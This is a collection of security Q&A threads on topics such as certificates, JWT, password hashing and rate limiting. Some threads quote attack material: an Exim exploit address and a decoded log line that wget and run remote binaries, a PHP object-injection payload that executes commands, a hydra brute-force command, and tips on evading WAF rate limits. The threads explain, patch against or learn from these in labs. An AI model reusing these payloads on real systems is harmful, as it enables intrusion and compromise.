Examine whether the password on the certificate adds anything to your security; determine what risks are mitigated by the password. If you properly manage the private keys, it might not be necessary to use a password. On the other hand, if you need a password, that should be entered when the program starts.
Examine how, for example, ssh stores its secrets. On UNIX/Linux systems, that would be in a directory with 700 / rwx------ and all the files will have 600 / rw-------, so only 1 specific user has access to them.


Securing servers in home network with https Over time my home network accumulated quite some devices which run web interfaces. They are accessed only locally, from within the home network.

What would be the best way to run them with https, while being able to access them with names, and not IPs. Self-signed certificates are not an option.

I came up with the following idea:

Create names in the zone home.myown.tld in the public DNS of my myown.tld pointing to my local addresses, like server.home.myown.tld pointing to 192.168.x.y.
Create letsencrypt certificates for all the servers and devices

Is that a good approach or can it be done better?

Specifically: How bad is it to assign local addresses to a public domain name?

Sure, this is a fine way to handle it. We've done the same thing at a previous job.

  How bad is it to assign local addresses to a public domain name?

Just because you have publicly registered your domain name doesn't mean the DNS for it also needs to be public. You can only add records on a DNS server that runs on your local network, and that will prevent an attacker from using DNS to learn a bit of information about your network topology and services running.


caught email exploit attempt -- info requested -- mail to root+${...}@host I received an email to the address below that is an apparent exploit attempt.  Does anyone have details about the specific exploit so I can make sure I am patched/not exposed:

  root+${run{x2fbinx2fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@mymailserver.example.com

This appears to be an attempt to exploit the recent Exim MTA Vulnerability,  CVE-2019-10149.

There is a patch for Exim4 to address this issue.

NIST Reference:

https://nvd.nist.gov/vuln/detail/CVE-2019-10149


Metasploit doesn't find exploit added from exploit-db I'm using Metasploit. I tried adding the file 46731.rb to both /usr/share/metasploit-framework/modules/exploits/confluence/46731.rb and ~/.msf4/modules/exploits/msf4/46731.rb. Then I updated the database using the updatedb command.
However, when I do search 46731 in msfconsole, then it doesn't find any results. What am I doing wrong?

The answer is you're doing nothing wrong. Metasploit's search function just sucks.
The reality is that both of these files are available for you to use. Simply make sure you have run updatedb, open msfconsole and type one of the following commands (because you put the same exploit in different directories):
use exploit/msf4/46731
use exploit/confluence/46731


API open endpoint best practices I am currently developing an API for my front-end React application. All my routes (besides the two I'll mention below) are secure by the use of JWTs. They get generated once a user logs in and is then used for the remainder of the session. The app to API connection will be over HTTPS so it should hinder MiTM attacks.
The two endpoints (which you have probably guessed) is the login and register endpoint. I have come across this question that suggests using HMAC. If I understand it correctly, the front end will create a hash (using a shared secret) of the request body and send it with the request; once the request arrives the API will generate a hash (with the same shared secret) based off of the request and compare the two hash values. If they don't match then the request was tampered with or is fraudulent.
So that obviously verifies the integrity of the requests made. The other problem is now that, anyone can just spam the hell out of the endpoint and effectively DoS/DDoS the endpoint. Even though the requests are fraudulent, the request will still be tried to be verified on the API side by calculating the hash. Which takes compute power. So if I am getting a lot of requests, very quickly, it will drag my API down.
Would it be right to say that I need to rate-limit the endpoint based on the request IP address? Say limit the call to 10 per hour from a specific IP address? Would appreciate any feedback with regards how to stop the spamming of the endpoints.

As with many security models, a multi layered approach might be more suitable for the login use case.
Here are some suggestions:

As you already mentioned, rate limiting policies for the API would prevent attacks coming from the same client (DOS).
Implement a Proof-of-Work system in the API - see for example https://en.wikipedia.org/wiki/Hashcash. This would make it expensive for the client to calculate a hash but cheap for your server to validate.
Use CAPTCHA like Google's Recaptcha https://developers.google.com/recaptcha/docs/verify. Admittedly this helps mitigate brute-force attacks, not DDoS.
Front your API using a cloud provider then use DDoS protection service from your cloud provider to detect suspicious traffic and slows them down at the Edge before they hit your server.


Can a SIM card lock be circumvented? If so, how would one go about that, and realistically, how long would it take?
Is there something we can do proactively to make this more difficult?

This seems more relevant than ever since we would not want anyone to gain access to our phone number and any associated accounts, and more and more services, even financial ones seem to force their user to rely on phone number-based identities and authentification.
Note: Assume that we have no reliable way to deactivate our SIM remotely as it is prepaid.

SIM cards are secure element (SE) which is tamper-resistant amd tamper-evident by design. The PIN code is stored in SE's isolated storage inaccessible from outside. SIM only responds if entered PIN is right or wrong. Three incorrect PIN attempts disable PIN verification. To reset PIN and PIN tries, 8-digit PIN Unlock Code(PUC) is required which also has 3 tries. Three incorrect PUC attempts disables SE permanently.
You can obtain PUC from your network operator. Some network operators prints PUC at the back of the envelope SIM card comes in. Someone impersonating you can also obtain PUC from your provider. SIM swap attacks are much more common and new SIM with your phone number won't have PIN lock either.
Either way, your phone number can be compromised and reused to reset passwords of your associated accounts. Protecting SIM alone to protect your accounts cannot be an intuitive solution. You don't own your number. You only take it on lease. You should use TOTP based 2 factor authentication and set email as primary association with your accounts.


Is it safe to use the ENCRYPT() function in MySQL to hash passwords? I am running a ProFTPD Server on Ubuntu 12.04 and do the user authentication with MySQL. I am looking for a secure way to hash passwords.

There a lot of built-in hash functions in MySQL, but a lot of them are deprecated, such as MD5 or SHA1. The best built-in hash function in MySQL I saw was encrypt, that uses the Unix function crypt. A positive aspect of encrypt is that the hash could be generated with salt.

According to the MySQL manual, encrypt is deprecated because it uses DES and it will be removed in a future version. But according to this question only the old version of the Unix crypt function uses DES and is outdated. Newer versions of the crypt function should be fine.

Do you recommend to use encrypt in MySQL? Does encrypt create a secure hash?

Yes, it is possible to make the MySQL ENCRYPT function more secure.

As you mentionted, ENCRYPT calls crypt internally. The crypt function uses DES encryption by default, which is insecure. However, it can be made to use other algorithms by passing specific values as the salt. For example, passing a salt starting with $6$ will use a variation on SHA512 on supporting systems.

mysql> SELECT ENCRYPT('abc', '$6$abc');
+-----------------------------------------------------------------------------------------------+
| ENCRYPT('abc', '$6$abc')                                                                      |
+-----------------------------------------------------------------------------------------------+
| $6$abc$feY2G1TnANZ0KTBaV0Kkb3kO0521w9Wfvr8bW8wL0T11tXMxEhkG9poIhCuNFR3zasFDn.iplGDXaEJxlLwPt0 |
+-----------------------------------------------------------------------------------------------+
1 row in set, 1 warning (0.00 sec)

As you can see this is a significant longer hash than the one you get with the default DES. However, keep in mind that you need to create a random salt if you create a new password.

SELECT ENCRYPT('abc', CONCAT('$6$', SHA2(RANDOM_BYTES(64), '256')));

To verify the password, you can use the whole hash as salt:

SELECT ENCRYPT('abc', '$6$e1c69ed016381250$5g0Bzbh29DWXdCdy5m0IhKolTwCqZXpElB2ISK.mUwe9ic.oA6zXoZ5CAiuASg8GYKGwljSCJrnxSZ.f76PFW/');

Source code of ENCRYPT
Man page of crypt


Is it possible to log web sites that require Adobe Flash? We would like to block the use of Flash on our internal network, but believe that several business-critical sites may still rely on that app. I'd love to be able to "watch" the traffic for several weeks to see which sites need Flash and then determine whether those sites are necessary in order for us to do business.

Do any of the security or web proxy vendors provide an ability to log those URLs that attempt to access or call Flash content? Or could the firewall provide this intel? Other ideas?

In most cases flash content is served with a distinct content-type like application/x-shockwave-flash. Proxies like squid can log this content-type additionally to the URL and I'm sure lots of the better firewalls can log this too. Note that simple packet filtering firewalls (iptables etc) will not be able to do this.

Since I doubt that you will replace your existing firewall with another solution or that you will add a proxy to the network and reconfigure all clients just for this feature I would recommend you contact the support of the solution you currently have and ask them. Also, since lots of content today is delivered by HTTPS you must either ignore this traffic or intercept it if your currently used product supports it.

Apart from that you might also used tools like tcpdump/tshark or IDS like bro to passively sniff the traffic and extract the HTTP traffic matching the specific content-type. This will not for for HTTPS though.


Accounts, Active Directory and Tiers Watching a video series about Active Directory and doing security based on tiers. You have the main administrators in Tier-0 and End users in Tier-2 for example sakes.

The idea is administrator level users never have access to anything but tier-0 to avoid token compromises ect.. You also avoid generic accounts for audit purposes.

My question is this. You are an administrator and you work heavily in Tier-0, but you also work in Tier-2 where you access the internet, emails and remote into other Tier-2 machines for remote desktop work. Do you generally create another account for Tier-0 work or assign yourself privileges do that level on a need to use basis?

Microsoft is suggesting that you do both.

This is a part of their PowerShell v5 paradigm known as JIT/JEA (or JitJea) aka Just In Time, Just Enough Administration.


Why is this response splitting attack not working? I'm working through OWASP's "WebGoat" (version 5.4) vulnerable web application, but I'm getting stuck on one of the earliest lessons which is to do with HTTP response splitting.

I've looked in all the hints and the solution (and even at all the tutorials dotted about the interwebs), but I still can't get it to work.

I've even completely modified my web server's response to:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://localhost/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Graeme</html>
Content-Type: text/html;charset=ISO-8859-1
Content-length: 0
Date: Sun, 28 Jul 2013 20:26:13 GMT

I'm fairly confident that this is supposed to make my browser display "Grezzo", but instead it's following the first response rather than the second response. I even tried taking out the first "Content-Length: 0" line, but it makes no difference.

What's going on here? Am I missing something? Perhaps modern web browsers always follow the first response these days?

The basic piece of HTTP Response Splitting (HRS) that gets left out most often, is the proxy.

HRS is not an attack between a webserver and a browser, or even a browser and a webserver.
The attack is on the idiosyncrasies of semi-compliant HTTP devices, namely, the web server and the web proxy.
Specifically, the attack takes advantage of the fact that the webserver sees one set of responses (one response), and the proxy sees a different set (two responses), and the proxy splits one request to the victim, and the other to the attacker (or the ether).

So, to best test this attack, you would need to set up:

web server
proxy
victim browser
attacker client (or browser)

I am assuming that you missed the proxy part...


Why should I persist OAuth 2 access tokens along with refresh token That's something I've came across in a couple articles about OAuth 2: when it comes to persisting refresh tokens to database some authors prefer to store access token as well, or at least mention it as something you should do. And when it comes to granting access based on refresh_token a ticket is being picked up from database, deserialized, updated and sent to the user with a new refresh token.

Here is an example of RefreshTokens table, where ProtectedTicket column keeps serialized access_tokens issued to the user:

So far I can think of at least 3 reasons against this approach:

Isn't it a security threat when you are keeping user's access tickets, just waiting for someone to grab them, and reuse for unsuspicious resource server? One-way hash can't be used, since we need to deserialize, update and send it back to the user, and we don't want to keep valid access tokens as well.
For instance, you want to update encryption key used to serialize/deserialize your ticket once in a while just in case. If you don't want your users to be logged off once their access_token expires, you have to care about updating those persisted tickets.
You have to write a chunk of code depending on how concerned you are about #1 and #2. Maybe even you implement some dirty hacks around you OAuth framework as it might not provide extensibility points you will need.

So the questions is, why do you want to do all that? What kind of advantage that should give to really make it worth all the hassle? Isn't it easier, safer and more maintainable just to make a brand new ticket once you've verified refresh_token?

What would be the point of hashing the accessToken?

We hash passwords because people reuse them everywhere. If they would not reuse passwords, we would not need to hash passwords, the application has been hacked after all (as the attacker gained access to the db), so all is already lost.

accessTokens are not reused. and adding to security, are only used once (for 10 minutes for example, depending on your token lifetime). So why would we need to hash them? RefreshTokens can be used to obtain multiple accesstokens, which is why it seems reasonable to hash those, but even that is disputable as refreshTokens are not used across applications.

If you really want, you might think about encrypting the accessTokens, but we suppose your entire application has been hacked, including the encryption key. By the way, you don't really store an accessToken, rather you store the ticket to obtain an accessToken, but that doesn't change the relevance of your question.


Avoiding WAF with DirBuster I am curious as to how bug hunters / pen testers use DirBuster and GoBuster without getting their IPs banned all the time (which is why I am asking)?

It isn't possible to simply just "avoid the WAF" it is doing its job. Well, with the exception of specific payload bypasses. But that isn't what your question is asking.
In terms of "bypassing" the WAF in relation to something like directory brute-forcing the best course of action you can take is as suggested by Schroeder, set your scanning speed lower than the threshold the WAF is set. For example, if the WAF is configured to start dropping packets when a single IP sends 100 requests or more in a 5 minute window. Then you would need to set your scanning to send no more than that amount.
To find the sweet spot you simply start your scanning quite aggressively (depending on the environment) and lower it gradually until the point where your requests go through. I should note that these days, WAFs can have some pretty granular rules so this really only applies to the classic scenario of dropping traffic when it is too frequent.


JWT token authorize and authenticate I have created a service that takes login credentials and gives back a JWT.
Now the JWT is created with a secret key from this service.

I would like to use this token to get access from other micro-services, however on the micro-services, I would need to add the secret on there too. This seems quite ok if there aren't lots of microservices but what if it grows.

I could also ensure that my micro-services re-check with the auth service but that is just overloading it if the micro-services grows too.

However, I see you can send the token to the micro-service and the micro-service can see if it's authentic without validating it on with the auth service.

This is where my understanding starts to fail. How does the micro-service know that its authentic? I could just create a new token from some other site and use that to hack the micro-service if I put the same details in? I just can't see how that can be secure.

It sounds like you are using JWE (encrypted JWT), and so you need the same secret to create and read the JWT. That's a perfectly good model if your JWTs are always produced and consumed by the same server, but you're discovering the broader limitations of that method.

You could look into JWS (signed JWT) where the JWT is signed by the central server's private key, and the JWT's contents can be read and cryptographically verified by anyone who has the public key.

You're kinda inventing from scratch the idea of Single Sign-On (SSO), so instead it might be less work to set up like a SAML or OpenID Connect server.


What policies and agreements regarding information security are a must have for every self respecting company? I assume that it's a good idea to supply the users of a system (or employees) with policies and agreements regarding information security. What kind of documents should be considered?

For example (specifically):

Responsible disclosure policy
Privacy policy
Password policy
Clean-desk policy
Non-disclosure/confidentiality agreement
BYOD policy

Or more general:

General terms
Information policy
Information security policy

What about right-to-audit, EU cookie-law and right-to-be-forgotten? And for example a document/form were someone needs to sign for getting a physical key of a building? In what documents should that be described and what other things should be considered?

I want to begin my answer by saying I work in IT Audit / Security and this answer derives from my profession.

  I assume that it's a good idea to supply the users of a system (or employees) with policies and agreements regarding information security.

This is not only a good idea but essential to protecting your workplace. The benefits for implementing a enterprise IT Security policy are numerous, such as those listed below:

User accountability
Protection from liability
More effective protection of company data and corporate assets

Users accountability is greatly increased as no longer can users say "there is no policy" or "I did not understand / know we had a policy" The liability of the company is somewhat mitigated due to the presence of management responsibility as sign off on these policies would imply. Finally, policies and accompanying procedures set a consistent, reliable method through which information security is implemented at the company.

As to what to include in such an policy, the items you have listed are good for start but are not adequate for the modern workplace.
Essential policies would include among others... but these in my view are more critical.:

Incident response
Business continuity and Disaster Recovery

To implement any of these policies, you must have business and management buy in. Without commitment from the top, policies have no teeth. In the end, IT security is essential, but ultimately serves as a way to meet business objectives. IT cannot survive on its own isolated.


How does actually countersignature work in authenticode? I'm trying to understand the timestamp processing in the authenticode verification mechanism and it looks pretty simple, but I really do not understand how signature can be valid while both certificates (code and timestamp) are not in validity period.

Windows Authenticode Portable Executable Signature Format contains detailed description of processing authenticode, but there is no one case, when signature is valid after timestamp signing certificate has expired.

According to RFC3161, as soon as the certificate, used to sign a timestamp, expires, the timestamp becomes expired as well, so such timestamp should be re-done or notarized to renew the existing trust in this timestamp (does it mean certificate should be renew?).

Btw, what about software written ten years ago? Is there a mechanism to have infinite signature?

Finally, I've found the answer, the one lies in RFC3161:

 To verify a digital signature, the following basic technique may be used:

A) Time-stamping information needs to be obtained soon after the
  signature has been produced (e.g., within a few minutes or hours).

  1)    The signature is presented to the Time Stamping Authority
        (TSA).  The TSA then returns a TimeStampToken (TST) upon
        that signature.

  2)    The invoker of the service MUST then verify that the
        TimeStampToken is correct.

B) The validity of the digital signature may then be verified in the
  following way:

  1)    The time-stamp token itself MUST be verified and it MUST be
        verified that it applies to the signature of the signer.

  2)    The date/time indicated by the TSA in the TimeStampToken
        MUST be retrieved.

  3)    The certificate used by the signer MUST be identified and
        retrieved.

  4)    The date/time indicated by the TSA MUST be within the
        validity period of the signer's certificate.

  5)    The revocation information about that certificate, at the
        date/time of the Time-Stamping operation, MUST be retrieved.

  6)    Should the certificate be revoked, then the date/time of
        revocation shall be later than the date/time indicated by
        the TSA.

If all these conditions are successful, then the digital signature shall be declared as valid.


Implications of replacing Java Applets with Client Side Websocket Server I am no security expert, but do know some concepts.

We have a web application which currently uses Java Applets to do some operations on files in Client's File system (Browse, create, upload and download). Since Java applet support is being removed. We are planning to go for client side websocket server. Which will be installed on client side when first time such operation is being attempted.

I am concerned about the security of such system.
Basically we will have 3 entities involved.

WebServer
Browser
Client Websocket server (aka LocalServer)

Some points I am considering:

Plugin should only accept connections from localhost
Authentication Logic

WebServer will send some Unique Identification Key to Browser
Browser will send the same to LocalServer
LocalServer will forward the same to WebServer for authentication.
It will accept connection from browser only if authenticated by WebServer.

An important point is that data theft should not happen when the Browser visits a Malicious page. Basically LocalServer should only connect to WebServer's page's websockets.

What Additional points do I have to consider for hardening this?

If possible inform other points of consideration for this system.

Update 1:
LocalServer: Can upload, download files from the specific WebServer only.

You're trying to do the impossible here. You're having the localhost server authenticate the client application running in the browser. This is impossible to do securely.

What you would want is to write a browser plugin/add-on. The browser plugin/add-on should only activate itself when visiting authorized sites.


A second bank card arrived with the same PIN I recently applied for a second credit card for my partner to use on my account and was surprised when her preset PIN number turned out to be the same as mine.

Coming from a development background I assumed PINS were hashed somehow.

It seems very unlikely this is a coincidence, why are credit card PINs not stored hashed rather than (hopefully) encrypted and why not generate a new one for the second card?

What's the use of hashing a 4 digit PIN? You only need 10.000 rounds to get the PIN back, even if each PIN has its own salt. They are probably stored encrypted, for local employees etc, but for an engineer working there it won't be a big problem to get the PIN out of the database.


MAC randomization for Bluetooth? Companies, governments, etc. can track Bluetooth and WiFi network scans passively by looking at a same MAC address over space and time (Bluetooth/WiFi Identity tracking in public spaces - How to discover?). Starting in Android 8.0:

  Android devices use random MAC addresses when probing for new networks while not currently associated to a network.
  In Android 9, a developer option can be enabled (it is disabled by default) to cause the device to use a randomized MAC address when connecting to a Wi-Fi network. A different randomized MAC address is used per SSID.
  MAC randomization prevents listeners from using MAC addresses to build a history of device activity, thus increasing user privacy.

Can something similar be implemented for Bluetooth MAC addresses? Is it implemented at start-up or do these addresses rotate periodically?

For bluetooth low energy (BLE), this site mostly explains the problem:
https://blog.bluetooth.com/bluetooth-technology-protecting-your-privacy

  To safeguard user privacy, manufacturers can make use of a Bluetooth Smart feature known as “LE Privacy.” This feature causes the MAC address within the advertising packets to be replaced with a random value that changes at timing intervals determined by the manufacturer. Any malicious device(s), placed at intervals along your travel route, would not be able to determine that the series of different, randomly generated MAC addresses received from your device actually relates to the same physical device. It actually looks like a series of different devices, thus, it will not be possible to track you using the advertised MAC address.

At stack overflow this might be interesting:
https://stackoverflow.com/questions/23471364/private-vs-public-addresses-in-bluetooth-low-energy-on-android

To my knowledge all current iPhones implements this. And also many Android (new than 8.0) devices.

And yes, this is only 24 bit of randomness. This can be assumed to be enough. Since your device changed it MAC regularly, a sniffer has a change of 1 / 16.777.216 to guess what is you next MAC.  This (24 bit) is not enough for encryption, but this is not the problem to solve here.

For more information you can also look into the bluetooth core spec section 5.4.5:
https://www.bluetooth.com/specifications/bluetooth-core-specification

Also note that a bonded device is capable to resolving the random MAC to the permanent (public) MAC.


Securely store session data in cookies I'm trying to create a stateless application server architecture and I would like to store session data in cookies. All pages using the session would be served over HTTPS. I was planning on using AES256 to ensure the client can't change the value of the cookie.

So the flow would look like this:

Server receives request and decrypts the session cookie using the AES key which would be stored on the server.
If the session is changed, the new session is encrypted using AES and the secret key. New value is then sent with the response.

Are there any serious flaws with this approach? I would like to get others opinions before I implement it.

I was planning on user AES256 to ensure the client can't change the value of the cookie.

Encryption provides confidentiality, it does not provide authentication.

If you do not want users to see a session data value, then you should encrypt then authenticate the value. This prevents a bit flipping attack from changing the value inside of the encrypted token because the keyed hash will no longer match if any bits are swapped.

If confidentiality is not required, then you can simply authenticate. For example, you could use a HMAC over SHA-256. This will show the end user what the value is in cleartext, however they will not be able to change the value because they will not be able to recalculate the keyed hash value without the key.

e.g. Your cookie would be set as follows:

Set-Cookie: Session=Username=admin&expires=20150809104100&hash=7C2CD7DB7DF4055E782E3A5F70487FEB9A5CABEED3FB70F5D8772586FD8B2759

Expires prevents a user from saving their cookie offline for later use when they are not an admin because the hash is calculated over expiry too:

Username=admin&expires=20150809104100

You can use this site to verify this (key used was stackexchange, however you should use a cryptographically secure pseudo randomly generated 128 bit key).

However, there is an internet standard technology for doing this already called JSON Web Tokens. The HS256 algorithm will generate the client-side token value calculated by HMAC over SHA-256.

If you want encryption as well choose A128GCM - note that a 128 bit key is sufficient for your data - a 256 bit key using AES-256 is slower and unnecessary. It may even be less secure as there are significant differences how AES processes a 128 and 256 bit key.

As JSON Web Encryption only supports authenticated encryption algorithms, this would also prevent bit-flipping.


What's the best way to enumerate log/sign in attempts? For sign in via a website, what is the best way to count the number of attempts that is:

least vulnerable to tampering
reliable
quick

The system would:

use HTTPS throughout the sign on phase (at least)
use some kind of time dependant hashing like BCrypt
use cookies for storing sessions
use a database for storing the user's details, including things like last login time

I see, for example, some sites use a number as a query parameter in url. I wouldn't use this personally, but there may be some reason I can't see for this, hence the question.

Forgive me if this has been covered elsewhere on the site, I wanted to keep this quite a narrowly scoped question and it may have been touched on somewhere else, but I haven't found it. Links will be more than welcome, as will any insights or suggestions.

You need to at least implement attempt counting at a per-account and per-IP level, so that password cracking is blocked regardless of whether it's one account and lots of passwords, or lots of accounts and a few common passwords.

The best way to do the count is to log the attempts to a database table, then compute the count at runtime using a query. You could use a set of queries like this to compute the counts:

// get the last successful login time.
// if this returns no rows, default it to 2000-01-01 00:00:00 or similar
SELECT TOP(1) attempt_time AS last_success_time
FROM login_attempts
WHERE success = 0

SELECT MAX(tmp.attempt_count) AS attempt_count // we want the highest count
FROM (

  SELECT COUNT(*) AS attempt_count
  FROM login_attempts
  WHERE
    attempt_time > $last_success_time // only count from the last successful login
    and success = 0
    and ip_address = $ip; // count by IP

  UNION

  SELECT COUNT(*) AS attempt_count
  FROM login_attempts
  WHERE
    attempt_time > $last_success_time // only count from the last successful login
    and success = 0
    and user_id = $uid; // count by user ID

) tmp;

Another thing to watch out for is proxies. Most people worry about them and attempt to use headers such as X-Forwarded-For to block source IPs. The problem with this is that X-Forwarded-For can be set by an attacker and used to get any IP address banned, simply by failing to log in. As such, you should check for existing bans based on X-Forwarded-For and the source IP, but never set new bans based on the header. This means that users attempting to evade bans by using a proxy will be caught if the proxy supplies X-Forwarded-For, but attackers can't spoof via it. It also has the side-effect of banning proxies that are used for attacks, which is a nice bonus.


Is Auth0 Passwordless Authentication secure? I see this advertised Medium post about building a React application with passwordless authentication through Auth0.

from the link, here is the explanation of how it works:

  Passwordless authentication, as the name might imply, is an
  authentication system where the user does not enter a password.
  Instead, they provide an identifier such as an email address or
  telephone number, and the authentication system sends out a one-time
  passcode or link to this identifier that the user must then provide or
  click to successfully authenticate. The passcode or link is active for
  a limited time, often around five minutes. Each login request
  generates a new passcode or link and invalidates any previous
  passcodes or links. In a sense, passwordless authentication also
  provides two-factor authentication out-of-the-box, since a user must
  have access to either the email account or phone number they provide.

They also state that passwords are obsolete and insecure because people choose weak passwords and reuse them.

But here one asks Who watches the watchmen?

Since your email account is protected by the obsolete and weak means of a password, the passcode or link is not safe at all, is it? Someone just needs to crack your email and they get access to your application with Auth0 authentication.

Am I wrong?

Fundamentally, this sort of authentication is only as strong as the email account the user is using.  However, the same criticism can be levied at any relegated authentication model - OpenID or OAUTH included.  However, I think that this is still well worth it - by leveraging existing services that users value, it means that they are not tempted to use throw-away or repeated/re-used passwords on your site.  You'll be reinforcing the value of those central auth sources (in this case the email), and hopefully that will lead to users using strong authentication in those cases.

Also, authentication is hard to do right - so many smaller sites (and even huge ones) mess it up.  Passing that off, whether via this Auth0 or via more traditional OAuth or OpenID, is a great idea.  I don't see anything fundamentally wrong with the emailed token approach.


Brute-Forcing DVWA login page with hydra I'm learning how to brute force web login pages with a popular brute force tool called "Hydra". I'm using Kali Linux (VirtualBox) to do this. I've installed DVWA (Damn Vulnerable Web Application) and I'm running it locally.

NOTE: I'm trying to brute force /DVWA/login.php (the actual DVWA login page) not /DVWA/vulnerabilities/brute/ (the brute force challenge)

Here's the Burp Suite info

POST /DVWA/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/DVWA/login.php
Cookie: security=impossible; PHPSESSID=72mh5pvdosgo98nmij6dha4min
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 77

username=e&password=e&Login=Login&user_token=5e093d39eb72145d6b0b2de187340825

I used Burp Suite to intercept the request and get the information needed, with
that info I constructed the following command:

hydra -l admin -P /usr/share/dirb/wordlists/dvwa.txt localhost http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

dvwa.txt is just a text  file with two passwords: password1 and password
(the correct password to the login is password). When I ran hydra it returned with this:

Hydra (http://www.thc.org/thc-hydra) starting at 2018-10-06 09:48:12
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking http-post-form://localhost:80//dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed
[ATTEMPT] target localhost - login "admin" - pass "password1" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target localhost - login "admin" - pass "password" - 2 of 2 [child 1] (0/0)
[80][http-post-form] host: localhost   login: admin   password: password
[80][http-post-form] host: localhost   login: admin   password: password1
1 of 1 target successfully completed, 2 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-10-06 09:48:13

This result is not accurate, password1 is not a valid password, password is a valid password though. What am I doing wrong? I modelled my command according to this website.

Am I missing something? I notice that the website above did not put localhost in their command but rather an IP? I'm running DVWA locally on my computer so I put localhost. If you could please be as clear and detailed as possible that would be awesome! I'm new to Hydra, Kali Linux, and brute forcing!

The check to look for a failed login is what's not working.

In the link you included their failed login included "Login failed" somewhere in the POST response. I'm guessing when you fail to login at your login.php the string "Login failed" isn't returned in the response. You need to figure exactly gets returned in the case of a failed response (and update your command to look for that) or you will keep getting these false positives.

Did you just copy that last part from the example?
:Login fauled


Are PHP magic methods really necessary for PHP object injection? I'm trying to understand the PHP Object Injection flaw in vBulletin 5.1.x (CVE 2015-7808) and I stumbled across the requirements for Object Injection  as stated by OWASP:

  The application must have a class which implements a PHP magic method
  (such as __wakeup or __destruct) that can be used to carry out
  malicious attacks, or to start a "POP chain".
  Source: https://www.owasp.org/index.php/PHP_Object_Injection

However in this writeup about the vbulletin vulnerability I don't see a magic method being exploited, instead the rewind() function of class vB_dB_Result is called because of foreach():

public function decodeArguments($arguments){
        if ($args = @unserialize($arguments)){
            $result = '';
            foreach ($args AS $varname => $value){
                $result .= $varname;
...
class vB_dB_Result implements Iterator{
...
    public function rewind(){
        //no need to rerun the query if we are at the beginning of the recordset.
        if ($this->bof){
            return;
        }
        if ($this->recordset){
            $this->db->free_result($this->recordset);
        }
...
abstract class vB_Database{
...
    function free_result($queryresult){
        $this->sql = '';
        return @$this->functions['free_result']($queryresult);
    }

Am I missing something or is the OWASP statement simply false in this case?

The statement in that form is false. You can use any method for PHP object injection. The important point is that the method must actually be called.

The advantage of magic methods is that they are all named the same, and __wakeup and __destruct are both automatically called.

In this specific case, rewind works as it's called as part of the iterator in the foreach loop.

But it works also in other simpler examples. Imagine for example that you have two classes, both of which have a method of the same name:

class Foo {
    public function bar() {
        echo "everything is safe here";
    }
    [other methods...]
}

class BadFoo {
    public $command = "something";
    public function bar() {
        echo exec($this->command);
    }
}

Now you want to unserialize an object of the safe Foo class, and call the bar function on it:

$foo = unserialize($_GET['foo']);
$foo->bar();

Obviously, an attacker could simply send an object of the BadFoo class instead, leading to code execution:

O:6:"BadFoo":1:{s:7:"command";s:2:"id";}

This shows that it works with any methods, not just magic methods, as long as the method is called and does something an attacker is interested in.


How could this attack work? I was browsing my apache logs, and I found the following request (which resulted in a 404):

106.75.130.216 - - [DD/MMM/YYYY:hh:mm:ss] "GET /shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%68%74%74%70%3A%2F%2F%36%31%2E%31%36%30%2E%32%31%33%2E%32%38%3A%35%34%33%32%31%2F%64%6C%72%2E%61%72%6D%3B%63%68%6D%6F%64%20%37%37%37%20%2A%3B%2E%2F%64%6C%72%2E%61%72%6D HTTP/1.1" 404 396 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

The bit of hex in the GET URL decodes to the following:

cd /tmp;wget http://61.160.213.28:54321/dlr.arm;chmod 777 *;./dlr.arm

So, it's an attempt to get my server to serve up a shell, then download and execute some file clled dlr.arm.

What would it take for this attack to be successful?

This request tries to contact something located at the URL /shell and which takes as parameter a set of shell commands to execute.

While the shell commands to execute may seem obfuscated at first, most chances are that actually they are not. Shell commands may often contain characters which have a special meaning in HTTP URLs, so to keep the commands from being corrupted by either the HTTP client or server the easiest solution is simply to HTTP encode it completely (this is less a matter of obfuscation than the fact that the attacker most likely don't care about the URL readability).

Regarding this /shell URL which (fortunately!) was not found on your server, there are two main possibilities:

This may be the name of a resource specific to the service targeted by the attacker. The name of the file that this commands tries to download seems to indicate it is expecting an ARM device, so the attacker may be a bot scanning the Internet for a specific vulnerable embedded device where this /shell URL is present and enabled by default (for instance a debug feature left enabled by a manufacturer. Bad things happens...).
Another possibility is that this request is not the first step of the attack. The attacker may already have taken one or several step(s) before this one which, when facing a vulnerable server, would have lead to the creation of this /shell script server-side. These previous steps could have been really anything which would have coerced the server or the service it runs in somehow generating this /shell file or accepting to upload it.

In your comments, regarding the second option you seem to wonder why to act in two (or more) steps. When an attacker gets its first foot on a target, most often he has to face various limitations in terms of size and content of the payload he may execute (for instance he may be able to upload/create only ASCII files, or the content must be shorter than 100 characters, etc.).

Therefore, in order to fully-compromise a machine, he will first drop a first-stage payload which will be the bare minimum allowing him to download a full fledged binary payload as a second step. The classical way is to create server-side a script which will run any shell command passed as parameter (a classical web shell). Access to such web shell would produce exactly the same kind of log than quoted in your question.

And at last, as to why proceed with the following steps if the previous apparently did not work, again two possibilities:

Depending on the exploit details, it happens that the attacker may have no definitive feedback during the first steps allowing him to clearly define if the server is vulnerable or not. He will know it if the attack succeeded and contacting `/shell' URL does not throw a 404 error message but properly download and execute the second stage payload.
Some bots scanning the Internet are developed in a quick and dirty way and just blindly execute all steps of a given attack on all servers found in an IP range, ignoring the server response. Vulnerable machines, by executing the second stage payload, will call-back the attacker by themselves.


